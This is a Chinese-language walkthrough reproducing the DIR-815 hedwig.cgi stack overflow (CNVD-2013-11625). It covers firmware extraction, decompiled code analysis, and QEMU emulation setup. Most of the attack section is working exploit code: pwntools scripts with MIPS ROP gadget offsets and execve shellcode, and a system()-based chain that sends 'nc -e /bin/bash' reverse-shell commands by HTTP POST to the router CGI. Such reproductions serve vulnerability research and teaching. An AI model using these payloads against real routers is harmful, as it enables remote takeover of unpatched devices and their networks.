DIR-815栈溢出漏洞复现
文章详细分析了从0开始复现该漏洞
DIR-815漏洞复现
固件分析
确定固件架构
cd /bin
file busyboxbinwalk分离固件
binwalk -Me file
mipsrop下载,ida9.0版本
IDA插件 MIPSROP的安装和使用方法_ida mips-CSDN博客
漏洞点分析
官方漏洞批漏:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

官方的漏洞报告中只提及了DIR-645型号的hedwig.cgi中会存在缓冲区溢出的漏洞,其实D-Link的DIR-815/300/600/645等型号都存在这个漏洞
根据漏洞描述,可知漏洞点在hedwig.cgi,同时这个文件指向/htdocs/cgibin,这个就是我们要分析的二进制文件

main中定位主要函数

// 函数入口,保存寄存器,分配栈空间,初始化局部变量。
int hedwigcgi_main()
{
char *v0; // $v0
const char *no_REQUEST; // $a1
FILE *stream; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *stream_1; // $s2
int fd; // $v0
int v9; // $s7
int fd_1; // $v0
char **v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int fd_2; // $v0
const char *v20; // $v0
char _runtime_session[20]; // [sp+18h] [-4A8h] BYREF
char *s_2; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
_DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
char s_1[128]; // [sp+40h] [-480h] BYREF
char s[1024]; // [sp+C0h] [-400h] BYREF
memset(s, 0, sizeof(s)); // memset(s, 0, sizeof(s)); 初始化1024字节缓冲区s为0。
memset(s_1, 0, sizeof(s_1)); // memset(s_1, 0, sizeof(s_1)); 初始化128字节缓冲区s_1为0。
strcpy(_runtime_session, "/runtime/session"); // strcpy(_runtime_session, "/runtime/session"); 拷贝字符串到_runtime_session。
v0 = getenv("REQUEST_METHOD"); // v0 = getenv("REQUEST_METHOD"); 获取环境变量REQUEST_METHOD,判断HTTP请求类型。
if ( !v0 ) // if (!v0) 检查REQUEST_METHOD是否存在,不存在则返回错误。
{
no_REQUEST = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") ) // if (strcasecmp(v0, "POST")) 检查是否为POST请求,非POST则返回错误。
{
no_REQUEST = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000); // cgibin_parse_request(sub_409A6C, 0, 0x20000); 解析CGI请求数据。
stream = fopen("/etc/config/image_sign", "r");// stream = fopen("/etc/config/image_sign", "r"); 打开签名配置文件。
if ( !fgets(s_1, 128, stream) ) // if (!fgets(s_1, 128, stream)) 读取签名内容,失败则返回错误。
{
no_REQUEST = "unable to read signature!";
goto LABEL_7;
}
fclose(stream); // fclose(stream); 关闭签名文件。
cgibin_reatwhite(s_1); // cgibin_reatwhite(s_1); 去除签名字符串中的空白字符。
v4 = sobj_new(); // v4 = sobj_new(); 创建字符串对象v4。
v5 = sobj_new(); // v5 = sobj_new(); 创建字符串对象v5。
v3 = v5;
if ( !v4 || !v5 )
{
no_REQUEST = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4); // sess_get_uid(v4); 获取当前会话的UID。
string = (const char *)sobj_get_string(v4); // string = (const char *)sobj_get_string(v4); 获取UID字符串。
sprintf(s, "%s/%s/postxml", "/runtime/session", string);// sprintf(s, "%s/%s/postxml", "/runtime/session", string); 生成postxml路径。
xmldbc_del(0, 0, s); // xmldbc_del(0, 0, s); 删除旧的postxml节点。
stream_1 = fopen("/var/tmp/temp.xml", "w"); // stream_1 = fopen("/var/tmp/temp.xml", "w"); 创建临时XML文件用于写入。
if ( !stream_1 )
{
no_REQUEST = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack ) // if (!haystack) 检查XML数据是否存在,不存在则返回错误。
{
no_REQUEST = "no xml data.";
goto LABEL_34;
}
fd = fileno(stream_1); // fd = fileno(stream_1); 获取文件描述符。
v9 = lockf(fd, 3, 0); // v9 = lockf(fd, 3, 0); 尝试对文件加锁,防止并发写入。
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
fd_1 = fileno(stream_1); // fd_1 = fileno(stream_1); 再次获取文件描述符。
lockf(fd_1, 1, 0);
s_2 = s_1;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(_runtime_session, "/");
v11 = (char **)v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = v13;
if ( !v13 )
break;
}
(&s_2)[i] = (char *)sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", stream_1);
v14 = (const char **)&s_2;
v15 = 0;
do
{
++v15;
fprintf(stream_1, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(stream_1, "%s\n", v16);
v17 = (const char **)&(&s_2)[i];
v18 = i + 1;
do
{
--v18;
fprintf(stream_1, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(stream_1);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
fd_2 = fileno(stream_1);
lockf(fd_2, 0, 0);
fclose(stream_1);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
sprintf(s, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, s, stdout);
if ( v9 )
{
no_REQUEST = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
no_REQUEST);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}getenv去检查环境变量,然后全检测是不是post传参

cgibin_parse_request,函数中获取三个环境变量,这里参数的需要设置,并且有一定的要求

漏洞点就在sess_get_uid中

获取cookie环境变量,并解析,首先是检查cookie名是否是uid,然后将uid=后的ip给v4,而且没有限制,这里就存在栈溢出


然后是将v4->string->s,但s只有0x400字节,然后就会溢出


然后就是劫持程序流程,但实际上还需要绕过,也不是说绕过,参考正常pwn栈溢出的思路,我们肯定需要让程序执行完,然后才能执行到我们布置的rop链上,如何让程序能正常去执行
后续有两个要求
1./var/tmp/temp.xml存在
2.haystack != null
第一个只要我们不去破坏程序环境就不会出问题
关键是第二个,通过交叉引用我们发现控制haystack值的地方
这里实际上有两种处理方式,因为目的就是让程序走到我们的gadget上
1.CONTENT_TYPE=application/x-www-form-urlencoded
也是网上很多师傅分析的

sub_409a6c
每当cgibin_parse_request解析到一段需要处理的数据时,就会调用sub_409A6C,把数据交给它处理。这样,haystack就始终保存着最新的请求数据内容
正常执行的话haystack是不为空的

之后就是获取两个环境变量,REQUEST_URI/CONTENT_LENGTH

主要是CONTENT_TYPE,会检测"application/"这个字符串,同时会跳转到一个地方,ida中是看不到的,我们可以下断点调试看看

这里返回的是0x403b10

0x403b10

然后还是返回到0x409a6c,需要保证REQUEST_URI存在,然后程序就可以返回到我们布置好的rop上getshell




实际上我们可以CONTENT_TYPE=任意,仅需设置post传参其他参数都不用控制,这样岂不是更简单
在sub_403B10不进入sub_402FFC,而是往下走,最后到sub_403794->cgibin_print_http_status
此时程序也可以走完,同时不触发报错,可以利用栈溢出漏洞,栈溢出的偏移不一样罢了


偏移

poc:
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
gdbscript="""
b *0x409680\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
libc_base = 0x7f738000#local
#libc_base = 0x77f34000 #remote
payload=cyclic(0x1000)
payload = b'a'*0x3cd
payload += b'a'*(4+0x18+12-2)
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'abcd'
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += cyclic(20)#b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode
payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-g 1234 ./htdocs/cgibin
""", shell = True)
bug()
p.send(post_content)
inter()

qemu用户态模拟
这个比较简单,就跟本地调试异架构一样,但参数不一样
直接gdb调试
进入 squashfs-root 文件夹中,执行下列指令
cyclic 2000 > payload
init.sh脚本启动
#!/bin/bash
INPUT="Thir0th=Pwner" # 要发送的 POST 数据(可能是伪造登录
或命令执行尝试)
LEN=$(echo -n "$INPUT" | wc -c) # 自动计算数据长度(Content-Length)
COOKIE="uid=`cat payload`" # 从 payload 文件读取 cookie uid(模拟登
录身份)
# 使用 qemu-mipsel 启动 CGI 程序(绑定 GDB 调试端口 1234)
echo $INPUT | qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=$COOKIE \
-E REQUEST_URI="2333" \
-g 1234 \
./htdocs/cgibinmygdb.sh
gdb-multiarch -x mygdb.sh
set architecture mips
set follow-fork-mode child
set detach-on-fork off
target remote 127.0.0.1:1234
file ./htdocs/cgibin
脚本调试
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("127.0.0.1", 1234), exe="./htdocs/cgibin",
gdbscript="""
b *0x402FFC\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
payload = b"uid=" + payload
post_content = "Thir0th=Pwner"
p = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=10 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
-g 1234 ./htdocs/cgibin
""", shell = True)
bug()
p.send(post_content)
inter()
qemu系统态模拟
step1 下载对应内核+镜像
Index of /~aurel32/qemu/mipsel

step2 创建网桥
安装网络配置器
apt-get install bridge-utils uml-utilities
修改interfaces文件
sudo vim /etc/network/interfaces
修改之前可以先备份
sudo cp /etc/network/interfaces /etc/network/interfaces.brk
修改为
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet dhcp
up ifconfig ens33 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_maxwait 0在 /etc/qemu-ifup 文件中写入下面内容(如果没有则需要创建,然后使用 sudo chmod a+x /etc/qemu-ifup)注意是写入,不是改成下面内容
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2开启物理机的转发功能
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT然后在到/etc文件中创建一个 /qemu/bridge.conf 在这个文件中写入 allow br0
配置好之后reboot
step3 配置qemu网络
qemu启动脚本
# start.sh
#!/bin/bash
sudo qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap将start.sh与下载的内核+镜像放置在一起,启动qemu
账号密码都是root
执行后会出现一个黑色小窗口,然后里面在加载程序,最后可能会有一个 fail 但是不要紧,不影响我们复现漏洞,太多 fail 可能就有点问题了需要问AI检查一下
nano 来修改 /etc/network/interfaces
将eth0改为eth1,(ip -a查看一下qemu网卡,不一定是eth1)

启用eth1接口
ifup eth1
之后执行ip -a就可以看到qemu的ip了
互ping,检测是否互通,按照上述步骤来是没问题的
在qemu中输入应该不方便,可以用ssh链接
# 低版本Ubutnu
ssh root@192.168.xx.xx
# 高版本Ubutnu
ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xxstep4 启动环境
将路由器文件分解得到的 /squashfs-root 文件传入到 qemu虚拟机的 /root 文件夹下面
# 低版本Ubutnu
scp -r ./squashfs-root root@192.168.xx.xx:/root/
scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>
# 高版本Ubuntu
scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/
scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址>/squashfs-root 文件中使用 nano指令 创建一个 http_conf 文件用于开启httpd服务
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改)
Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址)
Port "1234" #对应未被使用的端口(一般也是不用改)
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}qemu执行以下脚本,启动web服务
#init.sh
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf然后就应该可以去访问了

可以用nmap去扫描qemu,检测端口是否开放
nmap 192.168.10.67
step4 远程
需要用到gdbserver
已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改)
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
远程调试
qemu /root/squashfs-root/路径下创建run.sh
调试ip地址是虚拟机主机ip
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi
#echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI注:
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi
这一行代码是与gdb-multiarch调试的时候开启。
192.168.10.60 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。
------------------------------------
# echo "winmt=pwner"|/htdocs/web/hedwig.cgi
这行代码是直接生成了payload直接攻击。需要将gdbserver.mipsel传入qemu中
然后gdb-multiarch 接过来即可
set architecture mips
set follow-fork-mode child
set detach-on-fork off
target remote 192.168.xx.xxx:6666
file ./htdocs/cgibinfile ./file
可以把文件加载到gdb里面获取函数名
qemu虚拟机要获取shell只能去打反弹shell,这里需要运行脚本,gdb-multiarch那边可以接收到我们发送的paylaod
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
cmd = b'nc -e /bin/bash 192.168.87.135 8888' # 这里是Ubuntu物理机的地址
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
url = "http://192.168.87.136:1234/hedwig.cgi" # 这里是qemu虚拟机的地址
data = {"Thir0th" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "10"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)./run之后,然后Ubuntu的gdb去连接,然后Ubuntu在开个终端发送exp然后gdb里面就可以收到,这样子调试,反弹shell,还要再开一个终端监听端口,一共需要四个终端
nc -lvnp 8888
远程攻击
法一:向 QEMU 虚拟机上传 payload
这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell
run.sh
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner" | ./gdbserver 192.168.xx.xx:6666/htdocs/web/hedwig.cgi
echo "winmt=pwner" | /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URIfrom pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell
libc_base = 0x77f34000
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
fd = open("payload", "wb")
fd.write(payload)
fd.close()将生成的payload scp过去
法二:向 httpd 服务发送 HTTP 报文
from pwn import *
import requests
context(os='linux', arch='mips', log_level='debug')
cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell
libc_base = 0x77f34000
# 创建 payload
payload = b'a' * 0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a' * (4 * 7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a' * 0x18
payload += cmd
# 定义目标 URL 和数据
url = "http://192.168.2.2:4321/hedwig.cgi"
data = {"winmt": "pwner"}
# 定义请求头
headers = {
"Cookie": b"uid=" + payload,
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "11"
}
# 发送 POST 请求
res = requests.post(url=url, headers=headers, data=data)
# 打印响应
print(res)退出仿真环境
退出是执行fini.sh,要不然下次进去qemu会报错,init.sh脚本已经破坏了根目录,如果忘记的话重新下载内核和镜像
#fin.sh
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak关于虚拟桥接网络,可以不用去关闭
要关闭的话就这样,但后续配置还需要去配置虚拟桥连网络

参考链接
DIR-815 栈溢出漏洞(CNVD-2013-11625)复现-先知社区
从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客
D-Link DIR-815路由器溢出漏洞分析 | ZIKH26's Blog